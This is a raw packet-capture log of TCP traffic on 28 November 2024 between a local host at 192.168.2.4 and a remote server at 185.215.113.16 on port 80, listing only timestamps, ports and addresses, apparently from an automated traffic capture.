Nov 28, 2024 13:09:57.924273014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.924329996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.924341917 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.924390078 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:57.925245047 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.925303936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:57.925520897 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.071141005 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.071157932 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.071170092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.071238041 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.071444035 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.071504116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.071516037 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.071556091 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.071574926 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.072247028 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.072273016 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.072284937 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.072330952 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.073221922 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.073266983 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.073344946 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.073357105 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.073520899 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.074172974 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.074206114 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.074218035 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.074271917 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.087893963 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.087943077 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.087945938 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.087954998 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.088200092 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.088310957 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.088547945 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.088606119 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.088612080 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.088618994 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.088653088 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.089488029 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.089513063 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.089525938 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.089561939 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.090504885 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.090550900 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.090594053 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.090609074 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.090791941 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.091471910 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.091532946 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.091545105 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.091646910 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.092437029 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.092492104 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.092504025 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.092539072 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.092556000 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.093426943 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.093493938 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.093504906 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.093539953 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.094414949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.094455004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.094468117 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.094471931 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.094505072 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.095329046 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.095386028 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.095397949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.095443010 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.096318960 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.096368074 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.096396923 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.096410036 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.096633911 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.097366095 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.097449064 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.097460985 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.097498894 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.098258972 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.098306894 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.098346949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.098359108 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.098519087 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.099212885 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.099277973 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.099289894 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.099334955 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.100187063 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.100240946 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.100253105 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.100254059 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.100495100 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.101166010 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.101231098 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.101243019 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.101471901 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.102271080 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.102330923 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.102343082 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.102415085 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.103157997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.103259087 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.103271961 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.103327990 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.104273081 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.104326963 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.104336023 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.104338884 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.104377985 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.105094910 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.105146885 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.105159044 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.105205059 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.106038094 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.106077909 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.106090069 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.106095076 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.106300116 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.107031107 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.107093096 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.107106924 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.107155085 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.108009100 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.108059883 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.108072042 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.108072042 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.108113050 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.109029055 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.109060049 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.109071970 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.109114885 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.109983921 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.110050917 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.110384941 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.110451937 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.110466003 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.110618114 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.111387014 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.111443996 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.111455917 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.111509085 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.112257004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.112304926 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.112318039 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.112979889 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.113289118 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.113399982 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.113411903 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.113447905 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.113472939 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.114383936 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.114422083 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.114434958 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.114480972 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.115166903 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.115214109 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.115226030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.115283012 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.115304947 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.116105080 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.116168976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.116180897 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.116221905 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.117088079 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.117130995 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.117346048 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.263273001 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.263287067 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.263299942 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.263358116 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.263690948 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.263744116 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.263822079 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.263873100 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.263886929 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.263957977 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.264803886 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.264856100 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.264869928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.264884949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.265185118 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.265803099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.265839100 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.265851021 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.265892982 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.266729116 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.266777039 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.280230045 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.280276060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.280287027 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.280643940 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.280678034 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.280755997 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.280769110 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.280822992 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.281661987 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.281702042 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.281714916 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.281761885 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.282609940 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.282661915 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.282674074 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.282733917 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.283598900 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.283631086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.283653021 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.283704042 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.284559965 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.284609079 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.284614086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.284626961 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.284874916 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.285537004 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.285615921 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.285629988 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.285671949 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.286535978 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.286582947 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.286595106 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.286607027 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.286650896 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.287487030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.287540913 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.287558079 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.287590027 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.288546085 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.288559914 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.288573027 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.288595915 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.288619995 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.289438963 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.289490938 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.289504051 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.289804935 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.290412903 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.290441036 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.290451050 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.290509939 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.291394949 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.291522026 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.291536093 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.291805983 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.292350054 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.292413950 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.292428017 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.292467117 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.292480946 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.293343067 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.293385029 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.293396950 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.293442011 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.294312000 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.294365883 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.294377089 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.294385910 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.294816017 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.295280933 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.295357943 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.295372009 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.295420885 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.296328068 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.296341896 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.296354055 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.296387911 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.296413898 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.297225952 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.297271013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.297282934 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.297584057 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.298192978 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.298242092 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.298254013 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.298309088 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.299181938 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.299226999 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.299240112 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.299316883 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.300158024 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.300183058 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.300195932 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.300226927 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.300266027 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.301141024 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.301203966 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.301215887 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.301542044 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.302088976 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.302439928 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.302459955 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.302470922 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.302501917 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.302544117 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.303452969 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.303498030 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.303500891 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.303663969 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.303714991 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.304378033 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.304426908 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.304440975 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.304827929 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.305365086 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.305391073 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.305402994 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.305461884 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.306313038 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.306396961 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.306410074 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.306742907 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.307311058 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.307358980 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.307370901 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.307420015 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.308284998 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.308312893 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.308330059 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.308376074 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.309429884 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.309494972 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.309542894 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.362251043 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.455435991 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.455480099 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.455492973 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.455543041 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.455846071 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.455905914 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.455919027 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.455931902 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.456091881 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.456830978 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.456919909 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.456932068 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.456976891 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.457807064 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.457851887 CET	49745	80	192.168.2.4	185.215.113.16
Nov 28, 2024 13:09:58.457874060 CET	80	49745	185.215.113.16	192.168.2.4
Nov 28, 2024 13:09:58.457885027 CET	80	49745	185.215.113.16	192.168.2.4
